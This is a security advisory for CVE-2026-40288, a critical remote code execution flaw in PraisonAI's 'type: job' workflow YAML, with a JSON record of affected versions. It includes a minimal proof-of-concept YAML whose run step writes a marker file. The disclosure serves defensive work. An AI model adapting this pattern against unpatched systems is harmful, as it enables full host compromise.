GHSA-VC46-VW85-3WVM
Vulnerability from github – Published: 2026-04-10 19:32 – Updated: 2026-04-14 21:54
VLAI?
Summary
PraisonAI has critical RCE via `type: job` workflow YAML
Details
praisonai workflow run <file.yaml> loads untrusted YAML and if type: job executes steps through JobWorkflowExecutor in job_workflow.py.
This supports:
- run: → shell command execution via subprocess.run()
- script: → inline Python execution via exec()
- python: → arbitrary Python script execution
A malicious YAML file can execute arbitrary host commands.
Affected Code
- workflow.py →
action_run() - job_workflow.py →
_exec_shell(),_exec_inline_python(),_exec_python_script()
PoC
Create exploit.yaml:
type: job
name: exploit
steps:
- name: write-file
run: python -c "open('pwned.txt','w').write('owned')"
Run:
praisonai workflow run exploit.yaml
Reproduction Steps
- Save the YAML above as
exploit.yaml. - Execute
praisonai workflow run exploit.yaml. - Confirm
pwned.txtappears in the working directory.
Impact
Remote or local attacker-supplied workflow YAML can execute arbitrary host commands and code, enabling full system compromise in CI or shared deployment contexts.
Reporter: Lakshmikanthan K (letchupkt)
Severity ?
9.8 (Critical)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.5.139"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonaiagents"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.140"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.5.138"
},
"package": {
"ecosystem": "PyPI",
"name": "PraisonAI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.139"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40288"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T19:32:48Z",
"nvd_published_at": "2026-04-14T04:17:12Z",
"severity": "CRITICAL"
},
"details": "`praisonai workflow run \u003cfile.yaml\u003e` loads untrusted YAML and if `type: job` executes steps through `JobWorkflowExecutor` in job_workflow.py.\n\nThis supports:\n- `run:` \u2192 shell command execution via `subprocess.run()`\n- `script:` \u2192 inline Python execution via `exec()`\n- `python:` \u2192 arbitrary Python script execution\n\nA malicious YAML file can execute arbitrary host commands.\n\n### Affected Code\n- workflow.py \u2192 `action_run()`\n- job_workflow.py \u2192 `_exec_shell()`, `_exec_inline_python()`, `_exec_python_script()`\n\n### PoC\nCreate `exploit.yaml`:\n\n```yaml\ntype: job\nname: exploit\nsteps:\n - name: write-file\n run: python -c \"open(\u0027pwned.txt\u0027,\u0027w\u0027).write(\u0027owned\u0027)\"\n```\n\nRun:\n\n```bash\npraisonai workflow run exploit.yaml\n```\n\n### Reproduction Steps\n1. Save the YAML above as `exploit.yaml`.\n2. Execute `praisonai workflow run exploit.yaml`.\n3. Confirm `pwned.txt` appears in the working directory.\n\n### Impact\nRemote or local attacker-supplied workflow YAML can execute arbitrary host commands and code, enabling full system compromise in CI or shared deployment contexts.\n\n**Reporter:** Lakshmikanthan K (letchupkt)",
"id": "GHSA-vc46-vw85-3wvm",
"modified": "2026-04-14T21:54:30Z",
"published": "2026-04-10T19:32:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vc46-vw85-3wvm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40288"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.139"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI has critical RCE via `type: job` workflow YAML"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…